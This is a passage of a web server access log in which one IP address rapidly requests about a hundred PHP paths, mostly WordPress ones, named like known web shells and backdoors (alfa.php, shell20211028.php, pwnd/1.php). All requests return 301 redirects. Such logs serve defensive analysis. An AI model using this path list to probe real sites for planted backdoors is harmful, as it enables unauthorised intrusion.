"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:21 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:21 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:22 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:22 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:22 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:22 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:22 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:31:22 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:23 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:23 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:31:23 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:31:23 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:23 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:24 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:24 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:24 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:24 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:24 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:24 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:25 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:31:25 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:25 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:25 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:25 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:31:25 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:31:26 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:26 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:26 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:26 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:26 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:27 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:31:27 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:27 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:27 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:27 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:31:27 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:28 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:28 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:28 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:28 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:28 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:28 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:29 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:29 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:29 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:29 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:31:29 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:29 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:30 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:30 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:31:30 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:30 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:31:30 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:30 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:31 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:31 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:31 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:31 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:31:31 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:31 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:32 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:32 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:32 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:32 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:32 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:32 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:33 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:33 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:31:33 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:33 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:33 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:34 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:34 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:31:34 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:34 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:34 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:31:34 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:34 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:35 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:35 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:35 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:35 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:35 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:31:36 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:36 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:36 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:36 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:36 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:36 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:37 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:37 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:37 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:31:37 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:38 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:38 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:38 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:31:38 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:38 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:39 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:39 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:39 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:31:39 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:39 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:31:39 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:40 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:40 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:40 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:40 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:40 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:40 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:41 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:41 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:41 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:41 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 